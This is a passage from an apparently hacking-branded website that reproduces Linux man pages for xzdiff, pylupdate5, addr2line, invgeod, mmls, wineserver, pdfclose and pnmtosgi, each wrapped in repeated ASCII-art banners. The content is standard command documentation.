             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

189 - Linux cli command xzdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzdiff and provides detailed information about the command xzdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzdiff.

NAME 🖥️ xzdiff 🖥️

compare compressed files

SYNOPSIS

xzcmp [option…] file1 [file2]
xzdiff
lzcmp
lzdiff

DESCRIPTION

xzcmp and xzdiff compare uncompressed contents of two files. Uncompressed data and options are passed to cmp(1) or diff(1) unless –help or –version is specified.

If both file1 and file2 are specified, they can be uncompressed files or files in formats that xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) can decompress. The required decompression commands are determined from the filename suffixes of file1 and file2. A file with an unknown suffix is assumed to be either uncompressed or in a format that xz(1) can decompress.

If only one filename is provided, file1 must have a suffix of a supported compression format and the name for file2 is assumed to be file1 with the compression format suffix removed.

The commands lzcmp and lzdiff are provided for backward compatibility with LZMA Utils.

EXIT STATUS

If a decompression error occurs, the exit status is 2. Otherwise the exit status of cmp(1) or diff(1) is used.

SEE ALSO

cmp(1), diff(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

190 - Linux cli command pylupdate5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pylupdate5 and provides detailed information about the command pylupdate5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pylupdate5.

NAME 🖥️ pylupdate5 🖥️

create or update Qt Linguist translation files for PyQt5 applications

SYNOPSIS

pylupdate5 [OPTION]… PROJECT-FILE
pylupdate5 [OPTION]… SOURCE-ts TRANSLATION-FILE

DESCRIPTION

pylupdate5 reads a qmake project file (.pro), finds the translatable strings in the specified sources and updates the translation files (.ts files) specified in it. The translation files are given to the translator who can use Qt Linguist to read the files and insert the translations.
The .ts file format is a simple human-readable XML format that can be used with version control systems if required.

OPTIONS

-help
Show a summary of the options.

-version
Display the version of pylupdate5 and exit.

-verbose
Explain what is being done.

-noobsolete
Drop all obsolete strings.

-tr-function name
Specify name of function that should be used instead of tr().

-translate-function name
Specify name of function that should be used instead of translate().

AUTHOR

This manual page was written for Debian GNU/Linux by Torsten Marek <[email protected]> and Dmitry Shachnev <[email protected]>, but may freely be used by others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

191 - Linux cli command i686-w64-mingw32-addr2line

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-addr2line and provides detailed information about the command i686-w64-mingw32-addr2line, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-addr2line.

NAME 🖥️ i686-w64-mingw32-addr2line 🖥️

convert addresses or symbol+offset into file names and line numbers

SYNOPSIS

addr2line [-a|–addresses] [-b bfdname|–target=bfdname] [-C|–demangle[=style]] [-r|–no-recurse-limit] [-R|–recurse-limit] [-e filename|–exe=filename] [-f|–functions] [-s|–basename] [-i|–inlines] [-p|–pretty-print] [-j|–section=name] [-H|–help] [-V|–version] [addr addr …]

DESCRIPTION

addr2line translates addresses or symbol+offset into file names and line numbers. Given an address or symbol+offset in an executable or an offset in a section of a relocatable object, it uses the debugging information to figure out which file name and line number are associated with it.

The executable or relocatable object to use is specified with the -e option. The default is the file a.out. The section in the relocatable object to use is specified with the -j option.

addr2line has two modes of operation.

In the first, hexadecimal addresses or symbol+offset are specified on the command line, and addr2line displays the file name and line number for each address.

In the second, addr2line reads hexadecimal addresses or symbol+offset from standard input, and prints the file name and line number for each address on standard output. In this mode, addr2line may be used in a pipe to convert dynamically chosen addresses.

The format of the output is FILENAME:LINENO. By default each input address generates one line of output.

Two options can generate additional lines before each FILENAME:LINENO line (in that order).

If the -a option is used then a line with the input address is displayed.

If the -f option is used, then a line with the FUNCTIONNAME is displayed. This is the name of the function containing the address.

One option can generate additional lines after the FILENAME:LINENO line.

If the -i option is used and the code at the given address is present there because of inlining by the compiler then additional lines are displayed afterwards. One or two extra lines (if the -f option is used) are displayed for each inlined function.

Alternatively if the -p option is used then each input address generates a single, long, output line containing the address, the function name, the file name and the line number. If the -i option has also been used then any inlined functions will be displayed in the same manner, but on separate lines, and prefixed by the text (inlined by).

If the file name or function name can not be determined, addr2line will print two question marks in their place. If the line number can not be determined, addr2line will print 0.

When symbol+offset is used, +offset is optional, except when the symbol is ambigious with a hex number. The resolved symbols can be mangled or unmangled, except unmangled symbols with + are not allowed.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-a

–addresses

Display the address before the function name, file and line number information. The address is printed with a 0x prefix to easily identify it.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

-e filename

–exe=filename

Specify the name of the executable for which addresses should be translated. The default file is a.out.

-f

–functions

Display function names as well as file and line number information.

-s

–basenames

Display only the base of each file name.

-i

–inlines

If the address belongs to a function that was inlined, the source information for all enclosing scopes back to the first non-inlined function will also be printed. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-j

–section

Read offsets relative to the specified section instead of absolute addresses.

-p

–pretty-print

Make the output more human friendly: each location are printed on one line. If option -i is specified, lines for all enclosing scopes are prefixed with (inlined by).

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option. Note this option is only effective if the -C or –demangle option has been enabled.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

192 - Linux cli command invgeod

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command invgeod and provides detailed information about the command invgeod, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the invgeod.

NAME 🖥️ invgeod 🖥️

Geodesic computations

SYNOPSIS

geod +ellps=<ellipse> [-afFIlptwW [args]] [+opt[=arg] …] file …

invgeod +ellps=<ellipse> [-afFIlptwW [args]] [+opt[=arg] …] file …

DESCRIPTION

geod (direct) and invgeod (inverse) perform geodesic (Great Circle) computations for determining latitude, longitude and back azimuth of a terminus point given a initial point latitude, longitude, azimuth and distance (direct) or the forward and back azimuths and distance between an initial and terminus point latitudes and longitudes (inverse). The results are accurate to round off for |f| < 1/50, where f is flattening.

invgeod may not be available on all platforms; in this case use geod -I instead.

The following command-line options can appear in any order:

-I
Specifies that the inverse geodesic computation is to be performed. May be used with execution of geod as an alternative to invgeod execution.

-a
Latitude and longitudes of the initial and terminal points, forward and back azimuths and distance are output.

-t<a>
Where a specifies a character employed as the first character to denote a control line to be passed through without processing.

-le
Gives a listing of all the ellipsoids that may be selected with the +ellps= option.

-lu
Gives a listing of all the units that may be selected with the +units= option. (Default units are meters.)

-f <format>
Where format is a printf format string to control the output form of the geographic coordinate values. The default mode is DMS.

-F <format>
Where format is a printf format string to control the output form of the distance value. The default mode is "%.3f".

-w<n>
Where n is the number of significant fractional digits to employ for seconds output (when the option is not specified, -w3 is assumed).

-W<n>
Where n is the number of significant fractional digits to employ for seconds output. When -W is employed the fields will be constant width with leading zeroes.

-p
This option causes the azimuthal values to be output as unsigned DMS numbers between 0 and 360 degrees. Also note -f.

The +opt command-line options are associated with geodetic parameters for specifying the ellipsoidal or sphere to use. controls. The options are processed in left to right order from the command line. Reentry of an option is ignored with the first occurrence assumed to be the desired value.

See the PROJ documentation for a full list of these parameters and controls.

One or more files (processed in left to right order) specify the source of data to be transformed. A - will specify the location of processing standard input. If no files are specified, the input is assumed to be from stdin.

For direct determinations input data must be in latitude, longitude, azimuth and distance order and output will be latitude, longitude and back azimuth of the terminus point. Latitude, longitude of the initial and terminus point are input for the inverse mode and respective forward and back azimuth from the initial and terminus points are output along with the distance between the points.

Input geographic coordinates (latitude and longitude) and azimuthal data must be in decimal degrees or DMS format and input distance data must be in units consistent with the ellipsoid major axis or sphere radius units. The latitude must lie in the range [-90d,90d]. Output geographic coordinates will be in DMS (if the -f switch is not employed) to 0.001" with trailing, zero-valued minute-second fields deleted. Output distance data will be in the same units as the ellipsoid or sphere radius.

The Earth’s ellipsoidal figure may be selected in the same manner as program proj by using +ellps=, +a=, +es=, etc.

geod may also be used to determine intermediate points along either a geodesic line between two points or along an arc of specified distance from a geographic point. In both cases an initial point must be specified with +lat_1=lat and +lon_1=long parameters and either a terminus point +lat_2=lat and +lon_2=long or a distance and azimuth from the initial point with +S=distance and +A=azimuth must be specified.

If points along a geodesic are to be determined then either +n_S=integer specifying the number of intermediate points and/or +del_S=distance specifying the incremental distance between points must be specified.

To determine points along an arc equidistant from the initial point both +del_A=angle and +n_A=integer must be specified which determine the respective angular increments and number of points to be determined.

EXAMPLES

The following script determines the geodesic azimuths and distance in U.S. statute miles from Boston, MA, to Portland, OR:

geod +ellps=clrk66 -I +units=us-mi «EOF 42d15’N 71d07’W 45d31’N 123d41’W EOF

which gives the results:

-66d31'50.141" 75d39'13.083" 2587.504

where the first two values are the azimuth from Boston to Portland, the back azimuth from Portland to Boston followed by the distance.

An example of forward geodesic use is to use the Boston location and determine Portland’s location by azimuth and distance:

geod +ellps=clrk66 +units=us-mi «EOF 42d15’N 71d07’W -66d31'50.141" 2587.504 EOF

which gives:

45d31'0.003"N 123d40'59.985"W 75d39'13.094"

i.e., the latitude and longitude of Portland, and the back azimuth from Portland to Boston.

NOTE:

Lack of precision in the distance value compromises the precision of the Portland location.

FURTHER READING

  1. GeographicLib.

  2. C. F. F. Karney, Algorithms for Geodesics, J. Geodesy 87(1), 43–55 (2013); addenda.

  3. A geodesic bibliography.

SEE ALSO

proj(1), cs2cs(1), cct(1), gie(1), projinfo(1), projsync(1)

BUGS

A list of known bugs can be found at https://github.com/OSGeo/PROJ/issues where new bug reports can be submitted to.

HOME PAGE

https://proj.org/

AUTHOR

Charles Karney

COPYRIGHT

1983-2024, PROJ contributors

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

193 - Linux cli command mmls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmls and provides detailed information about the command mmls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmls.

NAME 🖥️ mmls 🖥️

Display the partition layout of a volume system (partition tables)

SYNOPSIS

mmls [-t mmtype ] [-o offset ] [ -i imgtype ] [-b dev_sector_size] [-BrvV] [-aAmM] image [images]

DESCRIPTION

mmls displays the layout of the partitions in a volume system, which include partition tables and disk labels.

ARGUMENTS

-t mmtype
Specify the media management type. Use ‘-t list’ to list the supported types. If not given, autodetection methods are used.

-o offset
Specify the offset into the image where the volume containing the partition system starts. The relative offset of the partition system will be added to this value.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-B
Include a column with the partition sizes in bytes

-r
Recurse into DOS partitions and look for other partition tables. This setup frequently occurs when Unix is installed on x86 systems.

-v
Verbose output of debugging statements to stderr

-V
Display version

-a
Show allocated volumes

-A
Show unallocated volumes

-m
Show metadata volumes

-M
Hide metadata volumes

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

‘mmls’ is similar to ‘fdisk -lu’ in Linux with a few differences. Namely, it will show which sectors are not being used so that those can be searched for hidden data. It also gives the length value so that it can be plugged into ‘dd’ more easily for extracting the partitions. It also will show BSD disk labels for Free, Open, and NetBSD and will display the output in sectors and not cylinders. Lastly, it works on non-Linux systems.

If none of -a, -A, -m, or -M are given then all volume types will be listed. If any of them are given, then only the types specified on the command line will be listed.

Allocated volumes are those that are listed in a partition table in the volume system AND can store data. Unallocated volumes are virtually created by mmls to show you which sectors have not been allocated to a volume. The metadata volumes overlap the allocated and unallocated volumes and describe where the partition tables and other metadata structures are located. In some volume systems, these structures are in allocated space and in others they are in unallocated space. In some volume systems, their location is explicitly given in the partition tables and in others they are not.

EXAMPLES

To list the partition table of a Windows system using autodetect:

# mmls disk_image.dd

To list the contents of a BSD system that starts in sector 12345 of a split image:

# mmls -t bsd -o 12345 -i split disk-1.dd disk-2.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

194 - Linux cli command wineserver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineserver and provides detailed information about the command wineserver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineserver.

NAME 🖥️ wineserver 🖥️

the Wine server

SYNOPSIS

wineserver [options]

DESCRIPTION

wineserver is a daemon process that provides to Wine roughly the same services that the Windows kernel provides on Windows.

wineserver is normally launched automatically when starting wine(1), so you shouldn’t have to worry about it. In some cases however, it can be useful to start wineserver explicitly with different options, as explained below.

OPTIONS

-d[n], –debug[**=**n]
Set the debug level to n. 0 means no debugging information, 1 is the normal level, and 2 is for extra verbose debugging. If n is not specified, the default is 1. The debug output will be sent to stderr. wine(1) will automatically enable normal level debugging when starting wineserver if the +server option is set in the WINEDEBUG variable.

-f, –foreground
Make the server remain in the foreground for easier debugging, for instance when running it under a debugger.

-h, –help
Display a help message.

-k[n], –kill[**=**n]
Kill the currently running wineserver, optionally by sending signal n. If no signal is specified, sends a SIGINT first and then a SIGKILL. The instance of wineserver that is killed is selected based on the WINEPREFIX environment variable.

-p[n], –persistent[**=**n]
Specify the wineserver persistence delay, i.e. the amount of time that the server will keep running when all client processes have terminated. This avoids the cost of shutting down and starting again when programs are launched in quick succession. The timeout n is in seconds, the default value is 0 seconds. If n is not specified, the server stays around forever.

-v, –version
Display version information and exit.

-w, –wait
Wait until the currently running wineserver terminates.

ENVIRONMENT

WINEPREFIX
If set, the content of this variable is taken as the name of the directory where wineserver stores its data (the default is $HOME/.wine). All wine processes using the same wineserver (i.e.: same user) share certain things like registry, shared memory and kernel objects. By setting WINEPREFIX to different values for different Wine processes, it is possible to run a number of truly independent Wine sessions.

FILES

~/.wine
Directory containing user specific data managed by wine.

**/tmp/.wine-**uid
Directory containing the server Unix socket and the lock file. These files are created in a subdirectory generated from the WINEPREFIX directory device and inode numbers.

AUTHORS

The original author of wineserver is Alexandre Julliard. Many other people have contributed new features and bug fixes. For a complete list, see the git commit logs.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineserver is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

195 - Linux cli command pdfclose

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfclose and provides detailed information about the command pdfclose, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfclose.

NAME 🖥️ pdfclose 🖥️

open or close a PDF file viewer

SYNOPSIS

pdfopen [ options ] [ –file ] file.pdf
pdfclose [ –file ] file.pdf

OPTIONS

-h, –help, -?
output help and exit.

-v, –version, -V
output the version number and exit.

-p <n>, –page <n>
when starting the viewer, display page <n> of the document (notes: not all viewers support this feature, and even in those cases this option only has effect when the document is initially loaded). This option is over-ridden by -g.

-g <named destination>, –goto <named destination>
when starting the viewer, display the page of the document containing the named destination (notes: not all viewers support this feature, and even in those cases this option only has effect when the document is initially loaded).

-r, –reset_focus
after sending commands to the PDF viewer, attempt to reset the input focus to the window which had focus before the commands were sent.

-viewer, –viewer <ar9|ar9-tab|ar8|ar7|ar5|xpdf|evince>
use (respectively) Adobe Reader 9 (in a new window), Adobe Reader 9 (in a new tab of a running AR9, if any), Adobe Reader 8, Adobe Reader 7, Adobe Reader 5, xpdf or evince as the PDF viewer program. Adobe Reader 9 (in a new window) is the default.

RATIONALE

At certain points of TeX document preparation, many people repeat a “edit-compile-view” cycle. Since PDF viewers such as Adobe’s Acrobat Reader ("acroread") do not automatically refresh the display when the PDF file changes, this cycle can be more cumbersome than desired. The pdfopen program provides the ability to automate the reloading of the PDF document when it is changed.

Note: there seems to be little need for pdfclose under GNU/Linux, since (unlike the situation for MS windows) acroread does not lock the PDF file, which would prevent pdftex (or a DVI to PDF converter) from creating a new version of the PDF output file. However, pdfclose is provided in case someone finds it useful.

DESCRIPTION

pdfopen searches for an instance of the specified (or default) PDF viewer displaying the specified PDF file. If there is already an instance of the given viewer displaying the given file, the viewer is instructed to reload the file. If no such instance is found, pdfopen attempts to run the specified viewer on the specified document.

The default viewer is “acroread”, which could start any one of a number of versions of Acrobat Reader, depending on what is installed on your system. However, the commands to reload the current document vary from one version of acroread to another; consequently, if you are using a version of acroread other than AR9, you should explicitly specify the viewer program.

This version of pdfopen accepts the following viewer options:
ar9, ar9-tab, ar8, ar7, ar5, xpdf, and evince.
The difference between ar9 and ar9-tab is significant when there is no instance of AR9 already displaying the requested document. In this situation, while ar9 will request acroread to create a new instance of acroread (and thus open a new window) by using the -openInNewInstance argument, ar9-tab starts acroread without this argument; if there is already an instance of acroread running, a new tab will be opened in an existing window.

pdfclose searches for one of the above PDF viewers displaying the given file and instructs the viewer to “close” the window. In most cases, the PDF viewer continues to run, possibly now displaying just a blank window. (This behaviour varies somewhat from one PDF viewer to another.)

PORTABILITY AND AVAILABILITY

These programs have been tested on Slackware64 Version 14.1 and a few other versions / distributions of GNU/Linux. The code is reasonably generic and should work out of the box using most recent X11 implementations. (Reports to the contrary are welcome, particularly if they come with robust fixes.)

These programs are designed for X11-based systems. If you somehow find compiled versions of these programs on a system using another window system, they are very unlikely to be of any use to you.

Source and binaries of the programs can be downloaded from CTAN://support/xpdfopen/ (e.g., http://mirror.ctan.org/support/xpdfopen).

CAVEATS

If you use ar9-tab to reload the PDF document and the instance of acroread with the given document is currently displaying some other document, the command causes your document to be displayed, but not reloaded.

pdfopen works by looking for a window with a name (window title) matching that expected for the given viewer and document. If for some reason your viewer’s window name is not as expected, pdfopen may not work for you.

With at least AR9 and some window managers, using pdfopen to reload the document gives focus to the acroread window, even though the mouse cursor is not necessarily in that window. This can be annoying. The -reset_focus option can be used to deal with this problem.

AUTHOR

This manual page was written by Jim Diamond <[email protected]>. I am the current maintainer of the X11 versions of pdfopen and pdfclose. Report any bugs you find to me. Feature enhancement requests are welcome, coded enhancements even more so.

Past authors: Fabrice Popineau wrote the MS-windows versions of pdfopen and pdfclose upon which these programs were originally based. Taco Hoekwater created the GNU/Linux versions, up to Version 0.61 (including some documentation which inspired parts of this man page). Peter Breitenlohner has contributed both code and suggestions to versions later than 0.61.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

196 - Linux cli command pnmtosgi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtosgi and provides detailed information about the command pnmtosgi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtosgi.

.

NAME 🖥️ pnmtosgi 🖥️

convert a PNM image to a SGI image file

SYNOPSIS

pnmtosgi

[-verbatim|-rle]

[-imagename Name]

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtosgi reads a PNM image as input and produces an SGI image file as output. The SGI image will be 2-dimensional (1 channel) for PBM and PGM input, and 3-dimensional (3 channels) for PPM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtosgi recognizes the following command line options:

-verbatim
Write an uncompressed file.

-rle (default)
Write a compressed (run length encoded) file.

-imagename name
Write the string “name” into the imagename field of the header. The name string is limited to 79 characters. If no name is given, pnmtosgi writes “no name” into this field.

REFERENCES

SGI Image File Format documentation (draft v0.95) by Paul Haeberli ([email protected]). Available via ftp at sgi.com:graphics/SGIIMAGESPEC.

SEE ALSO

pnm(1) , sgitopnm(1)

AUTHOR

Copyright (C) 1994 by Ingo Wilken ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtosgi.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
